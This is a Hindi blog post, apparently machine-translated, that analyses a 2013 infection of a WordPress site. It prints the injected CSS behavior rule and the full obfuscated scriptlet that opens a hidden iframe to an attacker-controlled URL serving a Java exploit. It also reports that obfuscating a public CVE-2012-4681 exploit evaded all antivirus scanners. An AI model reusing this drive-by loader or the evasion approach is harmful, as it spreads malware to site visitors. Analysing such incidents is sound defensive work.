📝 👯 🐛 साइट पर संक्रमण - एक उदाहरण के साथ एक कहानी 🕵🏽 🙀 ☣️

वर्डप्रेस में दुर्भावनापूर्ण कोड इंजेक्ट करना ( छवि स्रोत )

यह कहानी 03/28/2013 और 04/04/2013 के बीच शुरू होती है। इस अवधि के दौरान, साइट ******। Ru संक्रमित थी। इसे अच्छी तरह से संग्रहीत किया जा सकता है। निम्न कोड पृष्ठ कोड में दिखाई देता है।

<link rel="stylesheet" type="text/css" media="all" href="http://******.ru/wp-content/style.css" />

यदि आप उस समय इस सीएसएस को खोलते हैं, तो इंटरनेट के दूसरी तरफ का रास्ता शुरू होता है।

 body { behavior:url(http://******.ru/wp-content/wp-content/themes.sct); }

यहाँ लगभग अपरिवर्तित theme.sct फ़ाइल है।

 /* * Sizzle CSS Selector Engine - v0.9.3 * Copyright 2009, The Dojo Foundation * Released under the MIT, BSD, and GPL Licenses. * More information: http://sizzlejs.com/ */ /* This file create by Cms. Don't delete it! */ <sriptlet><implements type=behavior></implements><sript>xchk='_';xurl='\x08//goo.gl/1JvYY';(xifr=document.createElement('iframe')).style.display='none';doument.body.appendChild(xifr);with(xifr){id='xfid';addBehavior('#default#userData');load(xchk);if(!getAttribute(xchk)){setAttribute(xchk,'_');save(xchk);expires=(new Date((new Date()).getTime()+6e8)).toUTCString();src=xurl;}}</sript></scriptlet>

कम से कम मेरे लिए इस "चमत्कार" पर चलते हुए, कुछ नहीं मिला। कोड को * .htc फ़ाइल में कॉपी करते समय, ऑपरेशन नहीं देखा गया। यह संभव है कि यह 0-दिन है। IE7-8 पर प्रदर्शन का परीक्षण किया गया। लिंक goo.gl/1JvYY justhaveown.myvnc.com/prok.php की ओर जाता है। मई के मध्य तक, लिंक पहले ही मर चुका था। लेकिन हमलावर के पास अपनी योजना को पूरा करने के लिए कम से कम 45 दिन और प्रतिदिन 9,000 अद्वितीय आगंतुकों का ऑडियंस था। इसके अलावा, प्रदाता, देश, आदि द्वारा एक फिल्टर का उपयोग करने की संभावना है।

लोड करने योग्य मॉड्यूल पर कुछ जानकारी यहां पाई गई थी , यदि उपलब्ध नहीं है, तो कैश । परिणाम BBfrtY.jar फ़ाइल थी, जो कि Microsoft के वर्गीकरण के अनुसार, एक्सप्लॉइट: जावा / CVE-2013-0422 निकला। सिक्योरिटी के अनुसार, जनवरी के मध्य में महामारी शुरू हुई थी। इसके अलावा, तीन महीने पहले वायरस के साथ साइट के संक्रमण के संकेत कम से कम डेढ़ महीने तक साइट प्रशासन द्वारा पंजीकृत नहीं थे। संकेत से मेरा मतलब है कि साइट डायरेक्टरी में एक विदेशी थीम्स.सक्ट फ़ाइल की मौजूदगी। अगर आप आर्काइव.ऑर्ग को मानते हैं, तो आखिरकार अगस्त के पहले दिनों के बाद वायरस के निशान हटा दिए गए थे। अधिक सटीक रूप से कहना मुश्किल है, क्योंकि इस तिथि के बाद आर्काइव.ऑर्ग में स्नैपशॉट नहीं हैं।

दुर्भाग्य से, यह एक बहुत ही विशिष्ट कहानी है। भले ही बड़े पोर्टल वायरस को कई घंटों या दिनों तक होस्ट कर सकते हैं। लेखक ने व्यक्तिगत मीडिया में समाचार मीडिया की वेबसाइट पर शुरुआती गर्मियों में ऐसी वायरल गतिविधि देखी, जिसमें प्रति दिन 300-400 हजार उपयोगकर्ताओं की उपस्थिति है और 100 हजार उपयोगकर्ताओं के साथ एक बड़े रेडियो स्टेशन का पोर्टल है। छोटी साइटों, हालांकि, यह भी नहीं पहचान सकते हैं कि उनके पास कुछ था।

अब यह स्थिति कितनी वास्तविक और दोहराई जा सकती है, यह जांचने के लिए, CVE-2012-4681 को चुना गया और यहां से कोड। ProGuard 4.10 और theme.sct फ़ाइल भी ली गई थी।

Virustotal के लिए परीक्षा परिणाम:

अर्थात्, अब भी, PoC के प्रकाशन के छह महीने बाद, केवल 36% एंटीवायरस वर्तमान जावा को खतरा मानते हैं। और ओफिसकेशन के बाद, यह आंकड़ा शून्य हो जाता है। वैसे, मुझे बड़ा संदेह है कि कुछ पैकर / रक्षक पीई फाइलों के लिए इस तरह के परिणाम प्राप्त करने में सक्षम होंगे। दशकों के संघर्ष के परिणामों ने खुद को महसूस किया।

यह पता चला है कि एक तरफ फ़ाइल अखंडता, डेटाबेस या पासवर्ड की शक्ति का एक अपर्याप्त ऑडिट है, और कभी-कभी बस: " धन्यवाद, हम सोमवार को इसका पता लगाएंगे ।" दूसरी ओर, नए खतरों के लिए "ढाल" की तत्परता की कमी।
लेख में प्रयुक्त सभी लिंक और फाइलें निजी संदेशों द्वारा प्रदान की जा सकती हैं या यदि समुदाय उनके प्रकाशन को उचित मानता है।

साइट पर संक्रमण - एक उदाहरण के साथ एक कहानी

वर्डप्रेस में दुर्भावनापूर्ण कोड इंजेक्ट करना ( छवि स्रोत )

More articles: